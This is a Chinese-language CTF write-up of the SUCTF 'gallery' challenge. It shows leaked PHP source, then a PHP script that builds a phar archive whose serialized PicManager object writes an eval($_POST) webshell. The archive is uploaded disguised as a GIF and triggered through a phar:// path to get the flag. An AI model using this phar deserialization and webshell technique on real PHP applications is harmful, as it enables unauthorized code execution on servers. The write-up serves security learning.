SUCTF招新赛-gallery

玩了下SUCTF招新赛,发现有一道phar反序列化的题目还比较有意思,记录一下。
Description:A Simple Gallery. Be careful about tips!

题目介绍

进来题目之后发现有一个上传点,上传上去的如果是图片的话就会被显示在页面上,也符合题目galleryenter description here

解题过程

尝试了一下,上传的地方应该是用了白名单,绕不过去,根据题目描述看了下cookie,发现一个hintenter description herebase64解出来是please read recent papers about phar,phar,我能想到的,要么是找文件包含的点,要么就是反序列化了。然后我扫了一波源码泄露,扫到一个.index.php.swp,拿去vim -r恢复一下,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
include('./PicManager.php');
$manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']));

if(isset($_GET['act'])){
switch($_GET['act']){
case 'upload':{
if($_SERVER['REQUEST_METHOD']=='POST'){
$manager->upload_pic();
}
break;
}
case 'get':{
print $manager->get_pic($_GET['pic']);
exit;
}
case 'clean':{
$manager->clean();
break;
}
default:{
break;
}

}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>GALLERY</title>
<link rel="stylesheet" type="text/css" href="demo.css" />
<link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" />
<script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script
src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js"
integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo="
crossorigin="anonymous"></script>
<script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<div id="main">
<h1>Gallery</h1>
<h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2>
<div id="gallery">

<?php
$stage_width=600;//放大后的图片宽度
$stage_height=400;//放大后的图片高度
$allowed_types=array('jpg','jpeg','gif','png');
$file_parts=array();
$ext='';
$title='';
$i=0;
$i=1;
$pics=$manager->pics();
foreach ($pics as $file)
{
if($file=='.' || $file == '..') continue;
$file_parts = explode('.',$file);
$ext = strtolower(array_pop($file_parts));
// $title = implode('.',$file_parts);
// $title = htmlspecialchars($title);
if(in_array($ext,$allowed_types))
{
$left=rand(0,$stage_width);
$top=rand(0,400);
$rot = rand(-40,40);
if($top>$stage_height-130 && $left > $stage_width-230)
{
$top-=120+130;
$left-=230;
}
/* 输出各个图片: */
echo '
<div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);">
<img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/>
</div>';
}
}
?>
<div class="drop-box">
</div>
</div>
<div class="clear"></div>
</div>
<div id="modal" title="上传图片">
<form action="index.php?act=upload" enctype="multipart/form-data" method="post">
<fieldset>
<!-- <label for="url">文件:</label>-->
<input type="file" name="file" id="url" onfocus="this.select()" />
<input type="submit" value="上传"/>
</fieldset>
</form>
</div>
</body>
</html>

可以看到,act=upload/get/clean分别有不同的功能,页面会把目录下后缀为jpg/jpeg/gif/png的文件给展示出来。很明显这个PicManager.php是有关键代码的,这时候可以发现,act=get是与$_GET['pic']一起使用的,这是可控性最高的一个参数,自然想到有可能可以通过这里去读PicManager.php,尝试一下enter description here拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.log';
private $actions=[];

public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}

private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}

public function pics(){
$this->_log('list pics');
$pics=[];
foreach(scandir($this->current_dir) as $item){
if(in_array(substr($item,-4),$this->whitelist))
array_push($pics,$this->current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
$this->_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
$this->_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
}
public function get_pic($picname){
$this->_log('get pic');
if(!file_exists($picname))
return '';
$fi=new finfo(FILEINFO_MIME_TYPE);
$mime=$fi->file($picname);
header('Content-Type:'.$mime);
return file_get_contents($picname);
}

public function clean(){
$this->_log('clean');
foreach(scandir($this->current_dir) as $file){
@unlink($this->current_dir."/".$file);
}
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}


}

//$pic=new PicManager('./');
//$pic->gen();

读一下代码

  • 构造函数用于新建一个基于当前IP的目录
  • _log用于记录日志信息
  • pics用于给index.php提供后缀名在白名单中的文件的列表数组
  • upload_pic用于上传文件,进行了白名单检验
  • get_pic是这里最关键的一个函数,它调用了好几次文件操作的函数,有一个file_get_contents,这也是为什么我们可以拿到源码。而且我们知道传入的参数是完全可控的,结合phar提示,自然想到phar反序列化
  • clean用于清空目录
  • __destruct用于记录日志,其中写入日志文件的内容以及日志文件的名字,都是类中定义的

思路变得清晰了,我们只需要通过phar触发反序列化漏洞,把日志文件的名字和内容改一下,就能写入webshell.关于phar反序列化,可以看我之前写的一篇文章
构造phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.php';
private $actions=array('<?php eval($_POST["comrade"]);phpinfo();?>');
.....

}


$phar=new Phar('shell3.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new PicManager('/var/www/html/sandbox/e69048d0f58028846b8d591a353e1822');
$phar->setMetaData($o);
$phar->stopBuffering();

然后把后缀名改成gif,上传enter description here顺便拿到路径。然后用phar协议包含http://49.4.68.67:86/index.php?act=get&pic=phar:///var/www/html/sandbox/e69048d0f58028846b8d591a353e1822/40b19cbbedcda702a5300c370ee57729.gif/ds,最后,访问相应目录下的webshell,get flag。enter description here直接给了flag,缺了点仪式感。